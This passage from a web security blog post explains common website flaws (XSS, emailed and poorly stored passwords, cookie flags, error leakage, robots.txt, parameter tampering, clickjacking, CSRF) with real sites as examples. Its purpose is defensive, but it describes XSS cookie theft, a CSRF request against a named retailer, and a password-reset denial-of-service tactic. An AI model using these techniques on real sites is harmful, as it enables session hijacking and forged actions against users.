&lt;p&gt;Clearly this is pretty innocuous but it demonstrates that an attacker can modify the page behaviour &lt;em&gt;if they can engineer a victim to click on a carefully crafted link to the site&lt;/em&gt;. That link may rewrite the page contents to something quite different, serve the victim malware or even steal their cookies and hijack their session. There are many, many ways that XSS can be used to do nasty things and the detection of the risk is very simple.&lt;/p&gt;
&lt;p&gt;Usually it takes nothing more than wrapping untrusted data (remember, this is the stuff your users provide to the system), in an italics tag to confirm the presence of XSS. For example, if I search for “Earth-shattering &amp;lt;i&amp;gt;kaboom!&amp;lt;/a&amp;gt;” on a website and it then says “You searched for Earth-shattering &lt;em&gt;kaboom!&lt;/em&gt;”, we have a problem. Instead of correctly output encoding the angle brackets into &amp;amp;lt; and &amp;amp;gt; it has rendered them exactly as provided to the source code and thus changed the actual &lt;em&gt;markup&lt;/em&gt; rather than the &lt;em&gt;content&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;It’s a similar (although arguably more prevalent) problem with untrusted data rendered to JavaScript. What you need to remember is that encoding differs from context to context; you can’t encode angle brackets like you would for HTML, instead they become %3Ci and %3E. Developers often make the mistake of doing this very manually (“if char is &amp;lt; then replace with %3Ci”) which inevitably leads to gaps in the encoding logic so testing a range of different characters often yields results where the obvious ones won’t.&lt;/p&gt;
&lt;h4&gt;&lt;a name="PasswordReminders"&gt;&lt;/a&gt;6. Password reminders via email&lt;/h4&gt;
&lt;p&gt;Nothing of a sensitive nature goes into email, it’s that simple. You should never, ever receive an email &lt;a href="http://www.troyhunt.com/2012/05/everything-you-ever-wanted-to-know.html"&gt;like this&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Password sent in plain text by usoutdoor.com" src="http://lh4.ggpht.com/-tA8lYIl6je4/T7rAbzBq9TI/AAAAAAAADiU/KxAENou4oM4/SNAGHTML22b5d853.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;There are a couple of reasons why and the first one is that email is simply not a secure transport mechanism. Whilst it’s possible to secure the connection to an outbound SMTP server using SSL (SMTPS), there’s a lot that happens downstream from there with no guarantee that transport layer encryption is present on each downstream node. Of course there are options like &lt;a href="http://www.infosecisland.com/blogview/19924-How-to-Encrypt-Your-Email-with-PGP.html"&gt;PGP Email&lt;/a&gt; but I’ve &lt;em&gt;never&lt;/em&gt; seen this used in a password reminder from a website. Ever.&lt;/p&gt;
&lt;p&gt;The other issue is that your mailbox is simply not a secure storage facility. Of course there are many different mail providers with many different implementations but the only safe assumption is not to store sensitive data in there. Websites that email credentials put users at risk not just on their own site, but also on other sites due to the (unfortunate but real) propensity for people to reuse passwords. We’ve seen password reuse exploited before through cases like &lt;a href="http://www.troyhunt.com/2011/01/why-your-apps-security-design-could.html"&gt;the Gawker Acai berry tweets&lt;/a&gt;. It’s a real risk.&lt;/p&gt;
&lt;p&gt;The only suitable way for a website to assist a user who has lost heir password is to provide &lt;a href="http://www.troyhunt.com/2012/05/everything-you-ever-wanted-to-know.html"&gt;a secure password reset feature&lt;/a&gt;. This means emailing a time-limited, single use token that allows a &lt;em&gt;new&lt;/em&gt; password to be set on the account and a confirmation email sent to the user afterwards. That’s a pretty simple mechanism but there are still numerous sites doing the wrong thing and sending the original password in email.&lt;/p&gt;
&lt;h4&gt;&lt;a name="PasswordStorage"&gt;&lt;/a&gt;7. Insecure password storage&lt;/h4&gt;
&lt;p&gt;The previous point around emailing passwords is only possible because passwords are not stored correctly to begin with. Let that just sink in a bit and allow me to repeat: if a website is even &lt;em&gt;able&lt;/em&gt; to email you your password then they’re not satisfactorily protecting it. You’ve got three common ways of storing passwords:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In plain text&lt;/li&gt;
&lt;li&gt;Encrypted&lt;/li&gt;
&lt;li&gt;Hashed&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;The first point is pretty clear – there is no cryptography involved in the storage of the password. One little SQL injection risk let alone disclosure of the database and you’re toast – every password is immediately readable.&lt;/p&gt;
&lt;p&gt;Encryption is at least &lt;em&gt;some&lt;/em&gt; attempt at secure storage but as I’ve often said before, the problem with encryption is &lt;em&gt;decryption&lt;/em&gt;. Once you’re talking encryption you’re talking key management and that’s not something we do well enough, often enough, particularly when it comes to websites (keys in config files, anyone?). What it usually means is multiple points of potential failure when a system is breached.&lt;/p&gt;
&lt;p&gt;The most appropriate means of storing passwords is with a strong hashing algorithm. That doesn’t mean a single hit of MD5 or SHA1 (or any other SHA variant for that matter) and it also doesn’t mean just salting it before it’s hashed. I go into a lot more detail about this in &lt;a href="http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html"&gt;Our password hashing has no clothes&lt;/a&gt; but in short, we’re often doing hashing wrong and what you really want is a computationally expensive algorithm designed for password cryptography.&lt;/p&gt;
&lt;p&gt;Here’s why this is important:&lt;/p&gt;
&lt;p&gt;&lt;img alt="AMD Radeon HD 7970" src="http://lh3.ggpht.com/-4bZ622nOwfQ/T-jHxFjmZOI/AAAAAAAADrE/dctuT8wO1fE/amd_radeon-hd-79702.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;This is an &lt;a href="http://www.amd.com/us/products/desktop/graphics/7000/7970/Pages/radeon-7970.aspx"&gt;AMD Radeon 7970&lt;/a&gt; consumer-level graphics card. You can buy it for a few hundred bucks and it can crack up to 7.5B hashes per second. Yes, that’s with a “B” so in other words 7,500,000,000. Crikey! Without delving into the nuances of cryptographic hashes here (the “no clothes” post above covers that), the point is that you have to choose the &lt;em&gt;right &lt;/em&gt;hashing algorithm. Cracking is still possible, but what if we could bring that rate down by, say 99.99% then it poses a very different value proposition to an attacker.&lt;/p&gt;
&lt;p&gt;In the context of this post though, there’s a very easy way to tell when a password hasn’t been stored as a hash – you can see it. That’s usually via the previous risk where it’s emailed to you but sometimes it’s also represented in the UI (more on that a little later). Another common way that poor password practices are disclosed is when an operator knows it, for example when you call up for support. Now identity verification is just fine and there are multiple ways to do that, but using the same credentials for web login and customer service verification is fraught with problems, not least of which is the fact that your personal credentials are visible to other humans whether that be by them looking at them in the system or people verbally providing them to operators.&lt;/p&gt;
&lt;p&gt;You start to understand more about why this is a problem when you see &lt;a href="http://www.troyhunt.com/2012/07/what-do-sony-and-yahoo-have-in-common.html"&gt;stats like these&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Reuse of passwords between Sony and Yahoo! Voices" src="https://lh5.googleusercontent.com/-sKxUqN9Lv4g/UaG9ckgVx0I/AAAAAAAAFWI/RUu0bpb0mpk/w540-h402-no/passwords.png"&gt;&lt;/p&gt;
&lt;p&gt;When 58% of people are reusing credentials (and many studies will show far higher levels than that), the risk of sloppy password management by a website starts to have much greater reach than just their own site, they’re jeopardising customers’ &lt;em&gt;other&lt;/em&gt; sites because rightly or wrongly, there’s a pretty good chance those credentials have been reused elsewhere.&lt;/p&gt;
&lt;h4&gt;&lt;a name="PasswordRules"&gt;&lt;/a&gt;8. Poor password entropy rules&lt;/h4&gt;
&lt;p&gt;Here is a very simple password fact: the longer it is and the more characters of different types it contains in the most random fashion possible, the better it is.&lt;/p&gt;
&lt;p&gt;Conversely, the more constrained a password is whether that be by length or particular characters or even entire character sets, the more likely it is to be cracked if push comes to shove.&lt;/p&gt;
&lt;p&gt;Consequently, this is bad:&lt;/p&gt;
&lt;p&gt;&lt;img alt="St. George bank not allowing spaces or special characters in the password" src="http://lh3.ggpht.com/_Qbax2DGZEkU/TTP0elXxF4I/AAAAAAAACN0/r7H2VE_Vl60/image71.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;But this is even worse:&lt;/p&gt;
&lt;p&gt;&lt;img alt="ING Direct using a four digit PIN" src="http://lh6.ggpht.com/_Qbax2DGZEkU/TTP0iLRilYI/AAAAAAAACOI/gNcmVgQbEv8/image35.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;These are examples taken from my 2011 post on the &lt;a href="http://www.troyhunt.com/2011/01/whos-who-of-bad-password-practices.html"&gt;Who’s who of bad password practices – banks, airlines and more&lt;/a&gt; where an alarming number of websites were placing arbitrary constraints on passwords. A follow-up post found &lt;a href="http://www.troyhunt.com/2011/03/3-reasons-youre-forced-into-creating.html"&gt;3 major reasons why these constraints exist&lt;/a&gt; and frankly, they’re all pretty weak excuses.&lt;/p&gt;
&lt;p&gt;We need to come back to why this is so important: in the last risk above about password storage I mentioned cracking 7.5B passwords per second with a consumer level graphics card. Now, imagine you bank with ING Direct using a 4 digit password, their database gets breached and the hashed accounts are leaked – the hash is now the only thing between the password being protected and an attacker gaining access to it and using it anywhere it’s still valid, either on the original site or places it’s been reused. An attacker can compute the entire key space of hashes in 1/750,000th of a second. Clearly ING felt this might be a risk so since this post they strengthened their password policy… all the way up to 6 digits, or in other words, 1/7,500th of a second. Your password is toast. But strength increases exponentially so the longer a password becomes and the more characters it contains, the stronger it gets. It’s that simple.&lt;/p&gt;
&lt;p&gt;Constraints of any kind on password fields (short of perhaps just one on a very long length) are just not on – there’s simply no good reason for it today. In fact I also made the point a little while back that &lt;a href="http://www.troyhunt.com/2012/09/do-you-allow-xss-in-your-passwords-you.html"&gt;you should expressly allow XSS in your passwords&lt;/a&gt; – no sanitisation at all! The thing is that per the previous risk on storage, passwords should never be redisplayed in any context anyway so let customers go nuts.&lt;/p&gt;
&lt;h4&gt;&lt;a name="PasswordDos"&gt;&lt;/a&gt;9. Denial of service via password reset&lt;/h4&gt;
&lt;p&gt;Here’s one that you often see gotten wrong: password reset processes that immediately disable the old password. It looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img width="863" height="530" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Aussie Farmers Direct disabling accounts on password reset" src="http://lh4.ggpht.com/-rVLNcy8EnmQ/UZPxKa7TnQI/AAAAAAAAFTk/0Y30Pmfqjgw/image311.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Now that might not &lt;em&gt;seem &lt;/em&gt;too bad, but the problem is that it poses a denial of service risk (there’s also that mixed mode HTTP / HTTPS warning we looked at earlier). Here’s an example: you know someone who uses the &lt;a href="http://aussiefarmers.com.au/"&gt;Aussie Farmers Direct&lt;/a&gt; website and you want to make life a bit hard on them so you reset their password and bingo – they can no longer log in. Now of course they can go and grab the new password from their inbox (or junk mail) and log themselves in again, but they’ll probably want to then change it which adds another layer of inconvenience. This sort of practice &lt;em&gt;can &lt;/em&gt;be used as an attack, for example it can take someone out of the running just before the end of an auction so the impact can extend beyond the realm of just mere inconvenience.&lt;/p&gt;
&lt;p&gt;The correct way to issue a password reset is to send a time-limited, single use token to the recipient. This gives only the legitimate owner the ability to change their password and it does so without breaking the earlier rule of emailing a password that can then be used beyond the reset process. You can read more about this and other aspects of password resets in &lt;a href="http://www.troyhunt.com/2012/05/everything-you-ever-wanted-to-know.html"&gt;Everything you ever wanted to know about building a secure password reset feature&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;a name="HttpOnly"&gt;&lt;/a&gt;10. HTTP only cookies&lt;/h4&gt;
&lt;p&gt;People often don’t think a lot about cookies but those little bytes of information in the header have hidden depths. They can also be pretty damn important to the security of the website and thus need to be appropriately protected. For example, it’s usually cookies that are used to persist a user’s authenticated state across requests. If an attacker can get hold of that cookie then they can hijack the session or in other words, immediately take on the identity of the victim.&lt;/p&gt;
&lt;p&gt;I wrote about this recently in &lt;a href="http://www.troyhunt.com/2013/03/c-is-for-cookie-h-is-for-hacker.html"&gt;C is for cookie, H is for hacker – understanding HTTP only and Secure cookies&lt;/a&gt;, the latter part of which we looked at in the third risk in this post. For now though, the important thing to understand is that cookies may have an attribute set that is referred to as “HTTP only” which you can easily view from any tools which can inspect cookies such as Internet Explorer’s developer tools:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Test cookies set in the response" src="http://lh5.ggpht.com/-eiA7tf93r2Q/UVCy0MeM9_I/AAAAAAAAFD0/YUW-oxRVaH8/image9.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;Here’s the party trick that HTTP only cookies have: they can’t be read by JavaScript on the client. Keeping in mind that there &lt;em&gt;are&lt;/em&gt; cases where you want JavaScript to be able to access cookies, in many situations it’s only the &lt;em&gt;server&lt;/em&gt; that needs to access those cookies. For example, when you logon to a website it’s usually an auth cookie that’s returned by the server and then automatically sent back again with each new request. This is what enables the website to see that you’re still authenticated.&lt;/p&gt;
&lt;p&gt;This is what also enables session hijacking; if an attacker can get that cookie then it’s all over red rover – they can now become you. A popular means of session hijacking is to leverage an exploit such as XSS to send the cookies to an attacker. For example, an attacker may socialise a link which causes JavaScript to be embedded in the page which accesses document.cookie and makes a request to a resource which they own whilst passing the cookies along in the query string.&lt;/p&gt;
&lt;p&gt;When we look at the response after logging into a site which &lt;em&gt;doesn’t&lt;/em&gt; properly protect cookies with the HTTP only flag – such as &lt;a href="http://aussiefarmers.com.au/"&gt;Aussie Farmers Direct&lt;/a&gt; (again) – we see something like this:&lt;/p&gt;
&lt;p&gt;&lt;img width="730" height="71" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Aussie Farmers Direct with a non-HTTP Only session cookie" src="http://lh4.ggpht.com/-iqS6AAcvZa4/UZPxLeVD7cI/AAAAAAAAFTs/ZpbHNomKKU8/SNAGHTML809c503.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;What we can see here is that the PHPSESSID cookie &lt;em&gt;is not&lt;/em&gt; flagged as HTTP only. All it would take is one little XSS risk to be combined with this and things would start to get very ugly.&lt;/p&gt;
&lt;h4&gt;&lt;a name="InternalErrors"&gt;&lt;/a&gt;11. Internal error messages&lt;/h4&gt;
&lt;p&gt;I’ve written a bunch about disclosure of internal error messages in the past. For example, there was &lt;a href="http://www.troyhunt.com/2012/04/graphic-demonstration-of-information.html"&gt;Kogan with their massive leakage&lt;/a&gt; last year:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Django debug info from kogan.com" src="http://lh5.ggpht.com/-Bz4FYWQSo0c/T31FBiEhenI/AAAAAAAADaQ/GINZrbSMYaA/SNAGHTMLa086a2b%25255B3%25255D.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;This included everything from framework versions to code locations to database credentials. This was running on Django but I’ve written about equally bad practices in ASP.NET, such as the &lt;a href="http://www.troyhunt.com/2012/01/aspnet-session-hijacking-with-google.html"&gt;masses of exposed ELMAH logs that are easily discoverable via Google&lt;/a&gt;. There were 11,000 easily discoverable ELMAH logs exposing authentication cookies when I wrote about this early last year:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Google search for inurl:elmah.axd ASPXAUTH" src="http://lh4.ggpht.com/-2UNc5DbxpMc/Twp-nBohNbI/AAAAAAAADGY/lHx3OC0P6xQ/SNAGHTML297a5d3.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;It’s, uh, kinda gotten a bit worse since then:&lt;/p&gt;
&lt;p&gt;&lt;img width="620" height="413" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="44,300 ELMAH logs in a Google search" src="http://lh6.ggpht.com/--wSKS0u_54U/UZPxMbEli-I/AAAAAAAAFT0/TWdyaMCfYwQ/SNAGHTML5269fc23.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Of course the problem with internal error messages is that they can give an attacker a &lt;em&gt;massive &lt;/em&gt;head start when it comes to compromising a vulnerable website. Naturally this will depend on the nature of the data exposed in the error, but in a case like those ELMAH auth cookies it makes session hijacking an absolute cinch. Other examples of exposed information can include anything up to and including connection strings to database servers that are publicly accessible. Ouch!&lt;/p&gt;
&lt;p&gt;How you tackle this will differ by framework but the simple message that’s relevant across the stacks is this: &lt;em&gt;keep internal errors internal!&lt;/em&gt; Configure your app to return generic error messages that don’t leak any info about how the app is put together. It’s not only more secure, it’s a whole lot more user friendly.&lt;/p&gt;
&lt;p&gt;In terms of detection, there are enough times where an error message will just reveal itself during the organic use of the website. That was the case with Kogan above but you can often cause an internal error simply by a minor change to the request structure. For example, replacing “id=123” with “id=abc” and an exception is raised when the parameter is attempted to be converted to an integer without the appropriate error handling. Or simple appending an illegal character to a URL – an angle bracket will often cause an exception.&lt;/p&gt;
&lt;h4&gt;&lt;a name="RobotsTxt"&gt;&lt;/a&gt;12. Path disclosure via robots.txt&lt;/h4&gt;
&lt;p&gt;Everybody know what &lt;a href="http://en.wikipedia.org/wiki/Robots_exclusion_standard"&gt;robots.txt&lt;/a&gt; does? Here’s a quick recap: when search engines come knocking to discover what’s on a website so that it can be indexed and made easily searchable, &lt;em&gt;in theory&lt;/em&gt; the search engine will look for a file named robots.txt in the root of the site. This file contains information which complies with the Robots Exclusion Standard and the idea is that it helps search engines with both what to index and &lt;em&gt;what not&lt;/em&gt; to index.&lt;/p&gt;
&lt;p&gt;The reason why the “what not to index” bit is important in the context of web security is that often developers will use the “Disallow” syntax to prohibit the search engine from making information on their site discoverable. For example, they may have some sensitive documents or administrative features they don’t want people stumbling across via carefully crafted Google searches (everyone is aware of &lt;a href="http://www.exploit-db.com/google-dorks/"&gt;Google Dorks&lt;/a&gt;, right?) so they politely ask the search engine not to crawl that particular piece of content.&lt;/p&gt;
&lt;p&gt;The problem is that you end up with sites like GoGet and &lt;a href="http://www.goget.com.au/robots.txt"&gt;their robots.txt file&lt;/a&gt; which looks just like this:&lt;/p&gt;&lt;pre&gt;User-agent: * 
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /editor/
Disallow: /help/
Disallow: /images/
Disallow: /includes/
Disallow: /language/
Disallow: /mambots/
Disallow: /media/
Disallow: /modules/
Disallow: /templates/
Disallow: /installation/
Disallow: /bookings/secret/&lt;/pre&gt;
&lt;p&gt;See the last one – “/bookings/secret/”? The problem, of course, is that just naming a path “secret” does not make it so! Now GoGet isn’t immediately disclosing anything of risk (although they might want to review the earlier point on insufficient use of TLS), but there are many examples where that isn’t the case.&lt;/p&gt;
&lt;p&gt;The thing about robots.txt is that it very often gives an attacker a starting point. It’s one of the first things to look for when trying to understand how a site is put together and where features that are intended to be private might exist. But most importantly, a disallow declaration in the robots.txt is &lt;em&gt;never &lt;/em&gt;a substitute for robust access controls. Regardless of how much obfuscation you throw at a path, you absolutely, positively need to implement access controls and work on the assumption that &lt;em&gt;all URLs are public URLs&lt;/em&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;a name="HtmlSource"&gt;&lt;/a&gt;13. Sensitive data leakage via HTML source&lt;/h4&gt;
&lt;p&gt;Everyone knows how to view the HTML source of a page, right? It’s always a variation of the classic right-click –&amp;gt; view source or for the keyboard ninjas, CTRL-U in browsers such as Chrome and Firefox. But of course that’s not the only way to view source, you can always proxy the traffic through tools like &lt;a href="http://www.fiddler2.com/fiddler2/"&gt;Fiddler&lt;/a&gt; or &lt;a href="http://www.charlesproxy.com/"&gt;Charles&lt;/a&gt; and inspect the page contents at that point. The point is that HTML source, for all intents and purposes, is readily viewable and &lt;em&gt;not&lt;/em&gt; the place to store any sensitive data. Yet we have examples such as &lt;a href="http://www.mydish.co.uk/"&gt;MyDish.co.uk&lt;/a&gt; doing this in the browser:&lt;/p&gt;
&lt;p&gt;&lt;img width="458" height="216" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="My Dish web interface showing a password field" src="http://lh3.ggpht.com/-ch9gRhxdEcM/UZPxNG37vGI/AAAAAAAAFT8/EPym8DMfz9I/image311111.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Which is driven by this in the source:&lt;/p&gt;
&lt;p&gt;&lt;img width="578" height="154" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="My Dish source code with the password re-typed" src="http://lh6.ggpht.com/-zqpbaO4vqPU/UZPxNtJYxvI/AAAAAAAAFUE/lAt1UduvyeA/image611.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Now this is clearly just crazy stuff – there’s absolutely no reason to pre-populate this field and of course just the fact they &lt;em&gt;can&lt;/em&gt; also means that they’re not storing the password correctly as a secure hash to begin with. Whilst this risk only discloses &lt;em&gt;your own&lt;/em&gt; password, if an attacker could hijack the session then they could easily grab it from the HTML source (and then leverage everywhere it’s been reused on other sites).&lt;/p&gt;
&lt;p&gt;This is a rather extreme example but I’ve seen many, many others which expose data they shouldn’t in the source. Just viewing the source code of various pages in a site can disclose a &lt;em&gt;huge&lt;/em&gt; amount of information about how it’s put together and often disclose risks in the design. On many occasions now I’ve seen comments in the source which disclose varying levels of information about the internal implementation of the source. In fact commenting of code itself can be very revealing, particularly if it points to paths that may not be properly secured or contain their own vulnerabilities.&lt;/p&gt;
&lt;p&gt;Another angle is the nature of the information disclosed through source in the legitimate function of the website. On occasion I’ve seen SQL statements in hidden fields which not only discloses the structure of the database but also opens the site up to parameter tampering and potentially SQL injection. Speaking of which…&lt;/p&gt;
&lt;h4&gt;&lt;a name="ParameterTampering"&gt;&lt;/a&gt;14. Parameter tampering&lt;/h4&gt;
&lt;p&gt;Here’s an interesting one – when you &lt;a href="http://www.actionrecruitment.ie/search.html?module=next_results&amp;amp;basic_query=SELECT%20*%20,%20'1'%20AS%20Score%20FROM%20posting%20WHERE%20%20%20%20(%20CategoryID%20LIKE%20'%')%20%20%20ORDER%20BY%20Title%20&amp;amp;start=10"&gt;search Action Recruitment for jobs&lt;/a&gt; you’ll notice a URL a little like this:&lt;/p&gt;&lt;pre&gt;http://www.actionrecruitment.ie/search.html?module=next_results&amp;amp;basic_query=SELECT%20*%20,%20'1'%20AS%20Score%20FROM%20posting%20WHERE%20%20%20%20(%20CategoryID%20LIKE%20'%')%20%20%20ORDER%20BY%20Title%20&amp;amp;start=10&lt;/pre&gt;
&lt;p&gt;Can anyone see the problem with that? Let me break out the important bit and remove the URL encoding:&lt;/p&gt;&lt;pre&gt;SELECT * , '1' AS Score FROM posting WHERE    ( CategoryID LIKE '%')   ORDER BY Title&lt;/pre&gt;
&lt;p&gt;That’s right, you’re looking at SQL statements embedded in the query string. For the sake of posterity should the site design change in the future, here’s what that page looks like right now:&lt;/p&gt;
&lt;p&gt;&lt;img width="791" height="223" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Action Recruitment with SQL in the query string" src="http://lh4.ggpht.com/-HeZP1syXpu0/UZPxOU__0oI/AAAAAAAAFUM/7wOp7w3_4Gg/image3.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;The problem here is that should this site indeed just take the query string parameter and execute it as an entire SQL statement, well, it actually poses two problems. The first is that tampering can produce results outside the intended function of the app. This could be minor – such as returning more records – or more significant such as returning &lt;em&gt;someone else’s&lt;/em&gt; records. The second issue is that it could be at risk of SQL injection if manipulating the parameter changes the structure or behaviour of the database query itself. This is where things become a lot less grey and a lot more black…&lt;/p&gt;
&lt;p&gt;The intention of this post is to draw attention to detecting risks which don’t step into the realm of what most reasonable people would deem “hacking”. Probing for SQL injection flaws very quickly descends into that realm and that’s not somewhere you want to go anywhere near on someone else’s site if you’re trying to play nice.&lt;/p&gt;
&lt;h4&gt;&lt;a name="Clickjacking"&gt;&lt;/a&gt;15. Clickjacking and the X-Frame-Options header&lt;/h4&gt;
&lt;p&gt;A few days ago I wrote about &lt;a href="http://www.troyhunt.com/2013/05/clickjack-attack-hidden-threat-right-in.html"&gt;Clickjack attack – the hidden threat right in front of you&lt;/a&gt; and showed just how easily a clickjacking attack can be launched. In essence, this attack boils down to placing the target site in an iframe and whacking the opacity of it down to zero so that the site underneath that shows through. The underlying site is then structured to show tempting links which line up perfectly underneath the target site so whilst the victim &lt;em&gt;thinks&lt;/em&gt; they’re clicking on a link on the hoax site, they’re actually clicking a hidden link on top of that which is served by the victim site above it.&lt;/p&gt;
&lt;p&gt;Imagine this scenario:&lt;/p&gt;
&lt;p&gt;&lt;img title="" alt="Win an iPad website showing the banking website on top of it" src="http://lh4.ggpht.com/-SrWIMhNll5c/UZC0CsQ192I/AAAAAAAAFRs/IqxQsazDETo/image11.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;This image shows the victim site sitting at 50% opacity (it would normally be at 0% therefore hidden), so you get a sense of how everything lines up. The impact of the clickjacking attack is commensurate with the action being performed by a simple click; it could range from a social media endorsement such as a “like” all the way through to performing a banking action.&lt;/p&gt;
&lt;p&gt;The mitigation is simple to implement and also simple to observe, you just need to look for the response header. By example, here’s what you’ll see on &lt;a href="https://asafaweb.com"&gt;ASafaWeb&lt;/a&gt; (my own site we’ll come back to shortly) using the Chrome developer tools:&lt;/p&gt;
&lt;p&gt;&lt;img width="661" height="533" title="SNAGHTML50f59ec" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="SNAGHTML50f59ec" src="http://lh3.ggpht.com/-H_To_pianhY/UZPxO7kg2NI/AAAAAAAAFUU/GCfiiVHOKHg/SNAGHTML50f59ec3.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;As you’ll read in the post above, there are a few different possible values for this header, the main thing is that unless you’ve got a good reason to allow the site to be embedded in a frame absolutely anywhere, there should be an X-Frame-Options header returned along with each request. You can also &lt;a href="https://asafaweb.com"&gt;check this with ASafaWeb&lt;/a&gt;, this test has been added to the software just this week.&lt;/p&gt;
&lt;h4&gt;&lt;a name="Csrf"&gt;&lt;/a&gt;16. Cross Site Request Forgery (CSRF)&lt;/h4&gt;
&lt;p&gt;In many ways HTTP is quite clever. For example, you can authenticate to a website and then in unison with the web browser it will happily send your auth cookie back to the website with each request automagically.&lt;/p&gt;
&lt;p&gt;In other ways HTTP is rather foolish. For example, you can authenticate to a website and then in unison with the web browser it will happily send your auth cookie back to the website with each request automagically. Oh – even when you didn’t actually intend to make the request!&lt;/p&gt;
&lt;p&gt;It’s that last bit that CSRF exploits. The risk here is that if an attacker can trick a victim’s browser into making a request to a website they’re already authenticated to &lt;em&gt;and &lt;/em&gt;modify the parameters of the request to do the attacker’s bidding, we might have a bit of a problem. For example, if a banking website allows an authenticated user to make a request such as “/transfer/?amount=500&amp;amp;to_account=1234567890” and it actually impacts a change (such as transferring money), then we have a CSRF risk. That’s a very simplistic example and I do go into a lot more detail in &lt;a href="http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html"&gt;part 5 of the OWASP Top 10&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let me give you a real world example. When you’re logged in to Toys R Us, if you make a POST request like this:&lt;/p&gt;&lt;pre&gt;http://www.toysrus.com.au/scripts/additemtoorder.asp&lt;/pre&gt;
&lt;p&gt;And you send the following form data:&lt;/p&gt;&lt;pre&gt;productid: 1675220
quantity: 1
injectorder: true
&lt;/pre&gt;
&lt;p&gt;You will add one of these to your cart:&lt;/p&gt;
&lt;p&gt;&lt;img width="343" height="253" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Lego Star Wars X-wing model" src="http://lh6.ggpht.com/-0kI37uUxdiI/UZPxQdEtGMI/AAAAAAAAFUc/Zt0A9oAqkDY/image31.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Now of course there is nothing wrong with a Lego Star Wars X-wing model, &lt;em&gt;assuming you actually wanted one!&lt;/em&gt; The problem is that all an attacker needs to do is trick your browser into reproducing the same request pattern – just the URL and form data – and you’ll have one of these in your cart. This execution of this can be extremely simple, for example, visit an attacker’s page where there are hidden form fields reconstructing those three pieces of data I showed earlier on and set the action to the URL which adds the item to the cart. Now give them a big “Win free stuff” button (which is how the attacker lured them in to begin with) and badaboom – they’ll submit the request &lt;em&gt;along with their authentication cookie&lt;/em&gt; to the Toys R Us website and have a shiny new Leo model in their cart! The attacker might even target a hidden frame so that the victim can’t see the response from the Toys R US server.&lt;/p&gt;
&lt;p&gt;That’s a very simplistic example in a low-risk scenario. There are more complex executions and obviously more risky scenarios and they’re possible because the CSRF attack is able to reproduce the appropriately structured HTTP request which, of course, also sends off the authenticated user’s cookies &lt;em&gt;because that’s just how HTTP works&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The mitigation is detailed in the post I mentioned earlier and it’s all about using an anti-forgery token in the form with a corresponding cookie. If both of these values don’t reconcile when the request is made then it’s considered to be forged. This works because an attacker cannot simply recreate the correct form data without grabbing the token from the website which is unique to the user. The anti-forgery cookie will be sent automatically – that’s fine – but its mate from the form won’t be.&lt;/p&gt;
&lt;p&gt;What’s important in the context of this post though is what a secure request &lt;em&gt;should&lt;/em&gt; look like. Here’s what happens when I logon to ASafaWeb and there are two important bits of info I’ve highlighted:&lt;/p&gt;
&lt;p&gt;&lt;img width="780" height="379" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Anti-forgery token being sent" src="http://lh5.ggpht.com/-0I9SY-QVaDo/UZPxRA3tf4I/AAAAAAAAFUk/-Z_s2baMQ-U/SNAGHTML644d74b63.png?imgmax=800" border="0"&gt;&lt;/p&gt;
